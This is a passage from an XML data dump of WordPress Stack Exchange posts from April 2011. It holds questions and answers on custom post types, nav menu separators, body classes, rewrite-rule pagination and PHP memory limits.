backend?" Tags="&lt;custom-post-types&gt;" AnswerCount="6" />
  <row Id="15841" PostTypeId="5" CreationDate="2011-04-28T14:01:54.503" Score="0" ViewCount="" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditorDisplayName="" LastEditDate="2011-04-28T14:01:54.503" LastActivityDate="2011-04-28T14:01:54.503" />
  <row Id="15842" PostTypeId="4" CreationDate="2011-04-28T14:01:54.503" Score="0" ViewCount="" Body="The WordPress-3 tag is about questions specific only to the 3.0 branch of WordPress." OwnerUserId="-1" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-04-28T19:49:18.917" LastActivityDate="2011-04-28T19:49:18.917" />
  <row Id="15843" PostTypeId="2" ParentId="15840" CreationDate="2011-04-28T14:04:55.950" Score="3" ViewCount="" Body="&lt;p&gt;You need to create a Custom Post Type, &quot;Portfolio&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Posts are Posts. Why try to use them as something they're not, and then try to change their nomenclature, instead of writing one or two simple functions in &lt;code&gt;functions.php&lt;/code&gt;, that will result in having both the exact functionality and the exact nomenclature that you want?&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-04-28T14:04:55.950" CommentCount="5" />
  <row Id="15844" PostTypeId="1" CreationDate="2011-04-28T14:05:59.367" Score="1" ViewCount="315" Body="&lt;p&gt;using;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array( 'menu' =&amp;gt; 'mainmenu', 'container' =&amp;gt; 'ul', 'menu_class' =&amp;gt; 'span-10 clearfix', 'after'=&amp;gt;'/');&#xA;wp_nav_menu($args);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which gives me;&#xA;london/munich/artists/fairs &amp;amp; events/publications/news/contact/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but using the args (or similar) can i remove the  / from contact?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;any help welcome!&lt;/p&gt;&#xA;" OwnerUserId="3978" LastActivityDate="2011-05-31T11:54:47.417" Title="remove last separator?" Tags="&lt;custom-menus&gt;" AnswerCount="4" />
  <row Id="15845" PostTypeId="2" ParentId="15840" CreationDate="2011-04-28T14:06:47.563" Score="0" ViewCount="" Body="&lt;p&gt;You will just need to create another custom post with the same capabilities as a regular post. You can then disable the Posts menu with this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function remove_menus()&#xA;{&#xA;    global $menu;&#xA;    $restricted = array( __('Posts'));&#xA;    end ($menu);&#xA;&#xA;    while (prev($menu))&#xA;    {&#xA;        $value = explode(' ',$menu[key($menu)][0]);&#xA;&#xA;        if(in_array($value[0] != NULL?$value[0]:&quot;&quot; , $restricted))&#xA;        {&#xA;            unset($menu[key($menu)]);&#xA;        }&#xA;    }&#xA;}&#xA;add_action('admin_menu', 'remove_menus');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2418" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-07-29T13:26:08.160" LastActivityDate="2011-07-29T13:26:08.160" CommentCount="1" />
  <row Id="15846" PostTypeId="2" ParentId="15835" CreationDate="2011-04-28T14:09:59.240" Score="0" ViewCount="" Body="&lt;p&gt;Define good? This is a tricky topic because possible requirements for functionality and license can vary greatly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a question about &lt;a href=&quot;http://wordpress.stackexchange.com/questions/12493/graphing-libraries-for-wordpress&quot;&gt;graphing libraries for WordPress&lt;/a&gt; but it covers libraries that can be used, rather than ready-made plugins.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-04-28T14:09:59.240" />
  <row Id="15847" PostTypeId="2" ParentId="15839" CreationDate="2011-04-28T14:21:41.600" Score="2" ViewCount="" Body="&lt;p&gt;Your meta value is a serialized array.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you're asking it to get for you is all posts with a meta with the key &lt;code&gt;'Notes'&lt;/code&gt; and the value &lt;code&gt;'price'&lt;/code&gt;. Your meta value is not &lt;code&gt;'price'&lt;/code&gt;, though, it's &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;a:6:{s:5:&quot;width&quot;;s:3:&quot;580&quot;;s:6:&quot;price&quot;;s:3:&quot;99&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The first thing you need to do to order by price is to start using a helpful key/value structure. I assume you're using something like this to store the post meta:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;update_post_meta( $post_id, 'foobar', array( 'width' =&amp;gt; 580, 'price' =&amp;gt; 99 ), true );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;when your needs would indicate that you need to do something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;update_post_meta( $post_id, 'width', 580, true );&#xA;update_post_meta( $post_id, 'price', 99, true );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Once you have your meta values saved in that format, you're going to want to use a &lt;code&gt;meta_query&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $query_string;&#xA;parse_str( $query_string, $my_query );&#xA;$my_query['meta_query'] = array(&#xA;    'key' =&amp;gt; 'price',&#xA;    'value' =&amp;gt; 0,&#xA;    'type' =&amp;gt; 'SIGNED',&#xA;    'compare' =&amp;gt; '&amp;gt;=',&#xA;);&#xA;$my_query['orderby'] = 'meta_value_num';&#xA;$my_query['order'] = 'ASC';&#xA;query_posts( $my_query );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Meta queries are new in WordPress 3.1, so you'll need to be using at least that version to do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let me know if you run into problems!&lt;/p&gt;&#xA;" OwnerUserId="11" LastEditorUserId="11" LastEditorDisplayName="" LastEditDate="2011-04-29T01:13:43.937" LastActivityDate="2011-04-29T01:13:43.937" />
  <row Id="15848" PostTypeId="2" ParentId="15840" CreationDate="2011-04-28T14:22:40.927" Score="0" ViewCount="" Body="&lt;p&gt;If you just want to change the admin menu label from Post -&gt; Portfolio, then look at this question:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/9211/changing-admin-menu-labels&quot;&gt;Changing Admin Menu Labels&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[Update]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This plugin &lt;a href=&quot;http://wordpress.org/extend/plugins/admin-menu-editor/&quot; rel=&quot;nofollow&quot;&gt;Admin Menu Editor&lt;/a&gt; looks like it will allow you to change menu labels more easily - I haven't tested it though.&lt;/p&gt;&#xA;" OwnerUserId="490" LastEditorUserId="490" LastEditorDisplayName="" LastEditDate="2011-04-28T15:19:08.140" LastActivityDate="2011-04-28T15:19:08.140" CommentCount="4" />
  <row Id="15849" PostTypeId="2" ParentId="15844" CreationDate="2011-04-28T14:33:29.023" Score="0" ViewCount="" Body="&lt;p&gt;If you can move the &lt;code&gt;/&lt;/code&gt; to before the links ( &lt;code&gt;'before' =&amp;gt; '/'&lt;/code&gt; instead of &lt;code&gt;'after' =&amp;gt; '/'&lt;/code&gt; ), that would make it much easier to filter out; you could do it like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function wpse15844_nav_separator_filter( $output, $item, $depth, $args ){&#xA;    global $wpse15844_nav_separators;&#xA;    if( !isset( $wpse15844_nav_separators ) )&#xA;        $wpse15844_nav_separators = array();&#xA;    if( isset( $wpse15844_nav_separators[$depth] ) &amp;amp;&amp;amp; $wpse15844_nav_separators[$depth] )&#xA;        return $output;&#xA;    $wpse15844_nav_separators[$depth] = true;&#xA;    return substr( $output, strlen( $args-&amp;gt;before ) );&#xA;}&#xA;&#xA;add_filter( 'walker_nav_menu_start_el', 'wpse15844_nav_separator_filter', 10, 4 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11" LastActivityDate="2011-04-28T14:33:29.023" />
  <row Id="15850" PostTypeId="1" AcceptedAnswerId="15878" CreationDate="2011-04-28T14:37:10.063" Score="2" ViewCount="253" Body="&lt;p&gt;I don't need this whole mess of classes like this...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;body class=&quot;page page-id-829 page-template page-template-page-template-portfolio-php portfolio&quot;&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like something like this...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;body class=&quot;portfolio&quot;&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a filter snippet somewhere that has a list of all the classes and I can then just uncomment the stuff I don't want to see in the body class.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="1925" LastActivityDate="2011-04-29T02:38:28.560" Title="Remove classes from body_class" Tags="&lt;filters&gt;&lt;apply-filters&gt;" AnswerCount="5" CommentCount="3" FavoriteCount="1" />
  <row Id="15851" PostTypeId="1" AcceptedAnswerId="15853" CreationDate="2011-04-28T14:41:40.697" Score="0" ViewCount="215" Body="&lt;p&gt;I would like to achive the following link structure on my site:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;/properties/ -&gt; a &lt;code&gt;properties&lt;/code&gt; page with &lt;code&gt;properties&lt;/code&gt; CPT, page 1.&lt;/li&gt;&#xA;&lt;li&gt;/properties/page/2 -&gt; a &lt;code&gt;properties&lt;/code&gt; page with &lt;code&gt;properties&lt;/code&gt; CPT, page 2.&lt;/li&gt;&#xA;&lt;li&gt;/properties/property-name -&gt; a single &lt;code&gt;properties&lt;/code&gt; page with a property details. &lt;br/&gt;&lt;br/&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I have a Custom Post Type (CPT) called &lt;code&gt;property&lt;/code&gt;. It's registered as following with the &lt;code&gt;rewrite&lt;/code&gt; rule specified as &lt;code&gt;'rewrite' =&amp;gt; array('slug' =&amp;gt; 'properties', 'with_front' =&amp;gt; false)&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function property_post_type_init() {&#xA;  $labels = array(&#xA;    'name' =&amp;gt; _x('Properties', 'post type general name'),&#xA;    'singular_name' =&amp;gt; _x('Property', 'post type singular name'),&#xA;    'add_new' =&amp;gt; _x('Add New', 'property')&#xA;  );&#xA;  $args = array(&#xA;    'labels' =&amp;gt; $labels,&#xA;    'public' =&amp;gt; true,&#xA;    'publicly_queryable' =&amp;gt; true,&#xA;    'show_ui' =&amp;gt; true,&#xA;    'rewrite' =&amp;gt; array('slug' =&amp;gt; 'properties', 'with_front' =&amp;gt; false),&#xA;    'query_var' =&amp;gt; true,&#xA;    'capability_type' =&amp;gt; 'post',&#xA;    'hierarchical' =&amp;gt; false,&#xA;    'show_in_nav_menus' =&amp;gt; false,&#xA;    'menu_position' =&amp;gt; 5,&#xA;    'supports' =&amp;gt; array(&#xA;      'title',&#xA;      'editor',&#xA;      'revisions'&#xA;    )&#xA;  );&#xA;  register_post_type('property',$args);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I also have a page with the slug &lt;code&gt;properties&lt;/code&gt; and the permalink structure is set as &lt;code&gt;/%category%/%postname%/&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the &lt;code&gt;Properties&lt;/code&gt; page I construct a new &lt;code&gt;WP_Query&lt;/code&gt; object with the following arguments:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$paged = (get_query_var('paged')) ? get_query_var('paged') : 1;&#xA;$args = array(&#xA;    'post_type' =&amp;gt; 'property',&#xA;    'orderby' =&amp;gt; 'date',&#xA;    'order' =&amp;gt; 'DESC',&#xA;    'paged' =&amp;gt; $paged&#xA;);&#xA;return $args;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I use a custom pagination code (in functions.php) which generates pagination correctly with the correct urls:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;my-site&amp;gt;/properties/&#xA;&amp;lt;my-site&amp;gt;/properties/page/2/&#xA;&amp;lt;my-site&amp;gt;/properties/page/3/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, when I click on any page in the pagination I get redirected to 404 page. I've expected the query params and they are the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[page] =&amp;gt; 2&#xA;[property] =&amp;gt; page&#xA;[post_type] =&amp;gt; property&#xA;[name] =&amp;gt; page&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which is not correct! I don't understand where these parameters are coming from:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[page] =&amp;gt; 2&#xA;[property] =&amp;gt; page&#xA;[name] =&amp;gt; page&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm sure it's something to do with the &lt;code&gt;rewrite&lt;/code&gt; rule when registering a CPT.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I achive the following set up to work correctly:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;A &lt;code&gt;properties&lt;/code&gt; page that displays all &lt;code&gt;properties&lt;/code&gt; custom post types posts with pagination.&lt;/li&gt;&#xA;&lt;li&gt;A &lt;code&gt;properties&lt;/code&gt; custom post type with &lt;code&gt;'rewrite' =&amp;gt; array('slug' =&amp;gt; 'properties', 'with_front' =&amp;gt; false)&lt;/code&gt; rule.&lt;/li&gt;&#xA;&lt;li&gt;Permalink of &lt;code&gt;/%category%/%postname%/&lt;/code&gt; structure&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So that I have the following link structure:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;/properties/ -&gt; a &lt;code&gt;properties&lt;/code&gt; page with &lt;code&gt;properties&lt;/code&gt; CPT, page 1.&lt;/li&gt;&#xA;&lt;li&gt;/properties/page/2 -&gt; a &lt;code&gt;properties&lt;/code&gt; page with &lt;code&gt;properties&lt;/code&gt; CPT, page 2.&lt;/li&gt;&#xA;&lt;li&gt;/properties/property-name -&gt; a single &lt;code&gt;properties&lt;/code&gt; page with a property details.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Hope that makes sense.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Dasha&lt;/p&gt;&#xA;" OwnerUserId="1343" LastActivityDate="2011-04-28T14:47:43.280" Title="Custom Post Type pagination when CPT 'rewrite' rule and a page have the same slug" Tags="&lt;custom-post-types&gt;&lt;pagination&gt;&lt;slug&gt;&lt;rewrite-rules&gt;" AnswerCount="1" />
  <row Id="15852" PostTypeId="2" ParentId="15850" CreationDate="2011-04-28T14:42:45.127" Score="1" ViewCount="" Body="&lt;p&gt;This will give every page a body class of only 'portfolio'.  The first argument is the array of generated body classes that would normally appear. The second argument is an array of classes passed into the body class function (e.g. &lt;code&gt;body_class('portfolio');&lt;/code&gt; would make the second argument in this function &lt;code&gt;array( 'portfolio' )&lt;/code&gt; ).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function wpse15850_body_classes( $classes, $class ){&#xA;    return array( 'portfolio' );&#xA;}&#xA;&#xA;add_filter( 'body_class', 'wpse15850_body_classes', 10, 2 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11" LastActivityDate="2011-04-28T14:42:45.127" />
  <row Id="15853" PostTypeId="2" ParentId="15851" CreationDate="2011-04-28T14:47:43.280" Score="2" ViewCount="" Body="&lt;p&gt;Try changing the page's slug to something else and changing your post type registration to this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  $args = array(&#xA;    'labels' =&amp;gt; $labels,&#xA;    'public' =&amp;gt; true,&#xA;    'publicly_queryable' =&amp;gt; true,&#xA;    'has_archive' =&amp;gt; true,&#xA;    'show_ui' =&amp;gt; true,&#xA;    'rewrite' =&amp;gt; array('slug' =&amp;gt; 'properties', 'with_front' =&amp;gt; false),&#xA;    'query_var' =&amp;gt; true,&#xA;    'capability_type' =&amp;gt; 'post',&#xA;    'hierarchical' =&amp;gt; false,&#xA;    'show_in_nav_menus' =&amp;gt; false,&#xA;    'menu_position' =&amp;gt; 5,&#xA;    'supports' =&amp;gt; array(&#xA;      'title',&#xA;      'editor',&#xA;      'revisions'&#xA;    )&#xA;  );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The operative new argument is &lt;code&gt;'has_archive'&lt;/code&gt;. This is new in 3.1, and gives you a &lt;code&gt;/properties/&lt;/code&gt;, &lt;code&gt;/properties/page/2&lt;/code&gt;, etc. structure by default. Then flush your rewrite rules and see if that fixes it. You may also need to comment out any code you've written playing with the query or rewrite rules&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2011-04-28T14:47:43.280" CommentCount="1" />
  <row Id="15854" PostTypeId="2" ParentId="15850" CreationDate="2011-04-28T14:59:14.450" Score="2" ViewCount="" Body="&lt;p&gt;I would recommend merely omitting the &lt;code&gt;&amp;lt;?php body_class(); ?&amp;gt;&lt;/code&gt; template tag, if you have no need for its output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just apply &lt;code&gt;class=&quot;portfolio&quot;&lt;/code&gt; hard-coded into the &lt;code&gt;&amp;lt;body&amp;gt;&lt;/code&gt; tag.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-04-28T14:59:14.450" CommentCount="3" />
  <row Id="15855" PostTypeId="1" AcceptedAnswerId="15868" CreationDate="2011-04-28T15:30:12.403" Score="1" ViewCount="87" Body="&lt;p&gt;I'm creating a child theme off of wp-framework and in it's header it uses &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo IMAGES . '/favicon.ico'; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to recall the folder where images are kept.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I define or create the location in order to recall it using echo IMAGES?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and if I can save the image folder location as IMAGES (If I recall it's a string?) can I do the same with other information?&lt;/p&gt;&#xA;" OwnerUserId="4871" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-04-28T17:27:32.787" LastActivityDate="2011-04-28T17:41:51.917" Title="defining a folder location in order to recall it" Tags="&lt;theme-development&gt;&lt;php&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="15856" PostTypeId="1" CreationDate="2011-04-28T13:29:34.063" Score="1" ViewCount="87" Body="&lt;p&gt;My WordPress is always down. I contacted my host and they said that the server is fine. My WordPress site has some basic plugins which are&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;all in one seo&lt;/li&gt;&#xA;&lt;li&gt;seo search tagging&lt;/li&gt;&#xA;&lt;li&gt;google xml&lt;/li&gt;&#xA;&lt;li&gt;robots.txt&lt;/li&gt;&#xA;&lt;li&gt;related post&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I can't find what is my problem. I have some HTML files which are working fine, but my Wordpress site is not working. I think the issue is with Wordpress. Do I need to reinstall Wordpress to fix the issue? Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have this error in error_log. I think it is a memory problem.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;code&gt;[28-Apr-2011 13:32:20] PHP Fatal error:  Allowed memory size of 33554432 bytes exhausted (tried to allocate 82 bytes&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" LastEditorUserId="1316" LastEditorDisplayName="" LastEditDate="2011-04-29T09:31:41.473" LastActivityDate="2011-04-29T09:31:41.473" Title="Allowed Memory Size Error in WordPress" Tags="&lt;errors&gt;&lt;memory&gt;" AnswerCount="2" CommentCount="3" />
  <row Id="15857" PostTypeId="2" ParentId="15855" CreationDate="2011-04-28T15:53:19.107" Score="1" ViewCount="" Body="&lt;p&gt;If you need to define/redefine a constant:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define( 'IMAGES', 'path/to/images/directory' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you need to echo &lt;code&gt;parent-theme\images&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo get_template_direcory_uri() . '/images'; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you need to echo &lt;code&gt;child-theme\images&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo get_stylesheet_direcory_uri() . '/images'; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or do you need to do something else?&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-04-28T15:53:19.107" CommentCount="1" />
  <row Id="15858" PostTypeId="2" ParentId="15833" CreationDate="2011-04-28T15:53:41.340" Score="1" ViewCount="" Body="&lt;p&gt;this could be a dumb answer - but is it because you end the loop and have two loops in one page?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If so I'd work around it by putting the news loop into a second file and then call it into the main file....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but again I could be giving u a very basic answer to a quite complex problem&lt;/p&gt;&#xA;" OwnerUserId="4871" LastActivityDate="2011-04-28T15:53:41.340" CommentCount="1" />
  <row Id="15859" PostTypeId="2" ParentId="15856" CreationDate="2011-04-28T15:55:12.333" Score="3" ViewCount="" Body="&lt;p&gt;Many &lt;em&gt;Related Posts&lt;/em&gt;-type Plugins are notoriously resource-hogging, due to ineffecient (or frequent) SQL querying.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of your installed Plugins, I would first investigate your &quot;Related Post&quot; Plugin.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-04-28T15:55:12.333" CommentCount="1" />
  <row Id="15860" PostTypeId="2" ParentId="15856" CreationDate="2011-04-28T16:00:40.007" Score="4" ViewCount="" Body="&lt;p&gt;The amount of memory that is allocated to PHP is insufficient. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add this to your wp-config.php file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define('WP_MEMORY_LIMIT', '64M');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If that doesn't work, the chances are your host has this locked down and you can't change it, in which case you either need to simplify your site, or move hosts.&lt;/p&gt;&#xA;" OwnerUserId="490" LastEditorUserId="490" LastEditorDisplayName="" LastEditDate="2011-04-28T18:49:54.870" LastActivityDate="2011-04-28T18:49:54.870" />
  <row Id="15861" PostTypeId="2" ParentId="15844" CreationDate="2011-04-28T16:28:41.063" Score="1" ViewCount="" Body="&lt;p&gt;Here is a completely different approach to the problem. Since the slashes may be considered to be presentational, they should not go into the HTML. Users without CSS just get to see a regular list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could then use CSS to restyle the list and add the slashes in between.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#nav li { display:inline; }&#xA;#nav li:before { content:' / '; }&#xA;#nav li:first-child:before { content:''; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://jsfiddle.net/9PMLJ/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Check it out here&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: this will not work in IE7 and older. IE7 does support &lt;code&gt;:first-child&lt;/code&gt; but &lt;code&gt;:before&lt;/code&gt; only works from IE8.&lt;/p&gt;&#xA;" OwnerUserId="4936" LastActivityDate="2011-04-28T16:28:41.063" CommentCount="1" />
  <row Id="15862" PostTypeId="1" CreationDate="2011-04-28T04:55:47.470" Score="0" ViewCount="48" Body="&lt;p&gt;I'm pretty familiar with WordPress and have used it on various projects both as a blog as well as a fully-functional CMS using custom post types, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am about to embark on a project for a client that includes a site that displays a few clothing pieces. Each piece will also display its different color options (ex: The &quot;XXX&quot; shirt will come in Black, Red and White and should be able to view colors when you click on a color swatch).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There will be 30 products, give or take a few, but this number is pretty set in stone.. There won't be the situation in which 20 more products will need to be added. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my first inclination was just to make a custom post type called &quot;clothing&quot; and create each clothing piece. From there, I would create each piece's color option as a child page of the parent clothing piece page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know there are various ways to approach a project like this but I wanted to get some input and maybe some recommendations on how to go about with something like this.&lt;/p&gt;&#xA;" OwnerUserId="4976" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-04-28T16:55:38.663" LastActivityDate="2011-04-28T17:02:51.070" Title="WordPress CMS Inquiry" Tags="&lt;custom-post-types&gt;&lt;cms&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="15863" PostTypeId="2" ParentId="15862" CreationDate="2011-04-28T08:50:11.787" Score="0" ViewCount="" Body="&lt;p&gt;Wordpress is a really good solution to a number of structures. If I understand your requirements correctly, Wordpress would properly work. I've used WP on a large and diverse number of websites, if you are able to design the right architecture in terms of meta values for each of the custom post types then you should be alright. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not entirely sure why you would make a separate page for each of the colour options, as this sounds like overkill. Maybe just have a meta field where you list the different colours and use some logic to list these colours on each of the product pages. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you could provide a little more information about the way in which users will use the site, it might be easier to understand what it is you need.&lt;/p&gt;&#xA;" LastActivityDate="2011-04-28T08:50:11.787" CommentCount="1" />
  <row Id="15864" PostTypeId="1" AcceptedAnswerId="15913" CreationDate="2011-04-28T16:58:22.100" Score="0" ViewCount="168" Body="&lt;p&gt;hey guys,&#xA;is it possible to format text in a custom field input box automatically with paragraphs?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;e.g. like the normal text-widget that has the option to say &quot;auto-add paragraphs&quot; when there is a linebreak.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just want my blogauthors to spare typing &lt;br/&gt; at the end of every line in a custom field!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;is there a way to do so?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;update:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if (have_posts()) : ?&amp;gt;&#xA;                &amp;lt;?php while (have_posts()) : the_post();&#xA;                    $sidebar_title = get_post_meta($post-&amp;gt;ID, 'sidebar-title', $single = true);&#xA;                    $sidebar_text = get_post_meta($post-&amp;gt;ID, 'sidebar-text', $single = true); ?&amp;gt;&#xA;&#xA;                    &amp;lt;?php if ( $sidebar_title !== '' &amp;amp;&amp;amp; $sidebar_text !== '' ) { ?&amp;gt;&#xA;                        &amp;lt;li class=&quot;widget-container widget-light-blue custom&quot;&amp;gt;  &#xA;                            &amp;lt;h3 class=&quot;widget-title&quot;&amp;gt;&amp;lt;?php echo wpautop($sidebar_title, $br); ?&amp;gt;&amp;lt;/h3&amp;gt;&#xA;                            &amp;lt;?php echo wpautop($sidebar_text, $br); ?&amp;gt;&#xA;                        &amp;lt;/li&amp;gt;&#xA;                    &amp;lt;?php } ?&amp;gt;&#xA;&#xA;                &amp;lt;?php endwhile; ?&amp;gt;&#xA;            &amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3529" LastEditorUserId="3529" LastEditorDisplayName="" LastEditDate="2011-04-28T18:37:35.127" LastActivityDate="2011-04-29T07:14:27.560" Title="Auto-add paragraphs to custom field?" Tags="&lt;custom-field&gt;&lt;php&gt;&lt;functions&gt;" AnswerCount="2" />
  <row Id="15865" PostTypeId="2" ParentId="15862" CreationDate="2011-04-28T17:02:51.070" Score="1" ViewCount="" Body="&lt;p&gt;Why not have a Custom Post Type, &quot;Product&quot;, and then have custom taxonomies:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Size&lt;/li&gt;&#xA;&lt;li&gt;Color&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This method will facilitate viewing (and querying) by any combination of Product, Size, and Color.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-04-28T17:02:51.070" />
